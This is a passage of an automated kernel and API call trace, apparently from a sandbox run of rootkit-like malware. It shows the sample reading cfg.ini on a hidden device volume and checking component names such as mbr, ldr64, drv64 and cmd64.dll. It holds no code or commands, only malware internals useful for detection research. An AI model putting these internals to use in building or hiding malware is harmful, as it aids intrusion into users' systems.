out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.892] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.892] IdePortDispatch () returned 0x103 [0118.892] KeWaitForMutexObject () returned 0x0 [0118.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.892] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.892] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.892] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.892] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.892] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc160 [0118.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.892] KeLeaveCriticalRegion () [0118.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.892] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.893] KeEnterCriticalRegion () [0118.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.893] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.893] KeLeaveCriticalRegion () [0118.893] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.893] KeEnterCriticalRegion () [0118.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.893] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.893] IdePortDispatch () returned 0x103 [0118.893] KeWaitForMutexObject () returned 0x0 [0118.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.893] KeLeaveCriticalRegion () [0118.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.893] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.893] KeEnterCriticalRegion () [0118.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3c000 [0118.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.893] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.894] IdePortDispatch () returned 0x103 [0118.894] KeWaitForMutexObject () returned 0x0 [0118.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.894] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.894] IdePortDispatch () returned 0x103 [0118.894] KeWaitForMutexObject () returned 0x0 [0118.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.894] KeLeaveCriticalRegion () [0118.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.895] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.895] KeEnterCriticalRegion () [0118.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.895] KeLeaveCriticalRegion () [0118.895] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.895] KeEnterCriticalRegion () [0118.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.895] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.895] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.895] KeLeaveCriticalRegion () [0118.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.895] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.896] KeEnterCriticalRegion () [0118.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.896] ExFreePoolWithTag (P=0xfffffa8003bcc160, Tag=0x0) [0118.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.896] KeLeaveCriticalRegion () [0118.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.896] ReleaseMutex (hMutex=0xf0) returned 1 [0118.896] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.896] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.896] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.896] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.896] KeEnterCriticalRegion () [0118.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.896] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.896] IdePortDispatch () returned 0x103 [0118.896] KeWaitForMutexObject () returned 0x0 [0118.896] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.896] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.896] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.896] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.896] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.897] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.897] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.897] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.897] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.897] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.897] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.897] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.897] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.897] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.897] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.897] KeLeaveCriticalRegion () [0118.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.897] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.897] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.897] KeEnterCriticalRegion () [0118.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.897] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.897] IdePortDispatch () returned 0x103 [0118.897] KeWaitForMutexObject () returned 0x0 [0118.897] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.897] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.897] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.897] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.898] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.898] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.898] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.898] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.898] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.898] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.898] KeLeaveCriticalRegion () [0118.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.898] ReleaseMutex (hMutex=0x100) returned 1 [0118.898] Sleep (dwMilliseconds=0x2bf20) [0118.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a114810, dwHighDateTime=0x1d24fa4)) [0118.908] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.908] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.908] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.908] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.908] KeEnterCriticalRegion () [0118.908] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.908] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.908] IdePortDispatch () returned 0x103 [0118.909] KeWaitForMutexObject () returned 0x0 [0118.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.909] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.909] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.909] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.909] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.909] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c9b10 [0118.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.909] KeLeaveCriticalRegion () [0118.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.909] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.909] KeEnterCriticalRegion () [0118.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.909] KeLeaveCriticalRegion () [0118.909] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.909] KeEnterCriticalRegion () [0118.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.909] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.909] IdePortDispatch () returned 0x103 [0118.910] KeWaitForMutexObject () returned 0x0 [0118.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.910] KeLeaveCriticalRegion () [0118.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.910] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.910] KeEnterCriticalRegion () [0118.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3f000 [0118.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.910] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.910] IdePortDispatch () returned 0x103 [0118.910] KeWaitForMutexObject () returned 0x0 [0118.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.911] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.911] IdePortDispatch () returned 0x103 [0118.911] KeWaitForMutexObject () returned 0x0 [0118.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.911] KeLeaveCriticalRegion () [0118.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.912] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.912] KeEnterCriticalRegion () [0118.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] KeLeaveCriticalRegion () [0118.912] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.912] KeEnterCriticalRegion () [0118.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.912] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] KeLeaveCriticalRegion () [0118.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.912] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.912] KeEnterCriticalRegion () [0118.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] ExFreePoolWithTag (P=0xfffffa80039c9b10, Tag=0x0) [0118.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] KeLeaveCriticalRegion () [0118.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.912] ReleaseMutex (hMutex=0xf0) returned 1 [0118.912] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.912] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.912] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.912] KeEnterCriticalRegion () [0118.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.912] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.913] IdePortDispatch () returned 0x103 [0118.913] KeWaitForMutexObject () returned 0x0 [0118.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.913] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.913] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.913] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.913] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.913] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce290 [0118.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.913] KeLeaveCriticalRegion () [0118.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.913] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.913] KeEnterCriticalRegion () [0118.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.913] KeLeaveCriticalRegion () [0118.913] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.913] KeEnterCriticalRegion () [0118.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.913] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.914] IdePortDispatch () returned 0x103 [0118.914] KeWaitForMutexObject () returned 0x0 [0118.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.914] KeLeaveCriticalRegion () [0118.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.914] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.914] KeEnterCriticalRegion () [0118.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c40000 [0118.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.914] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.914] IdePortDispatch () returned 0x103 [0118.914] KeWaitForMutexObject () returned 0x0 [0118.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.915] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: 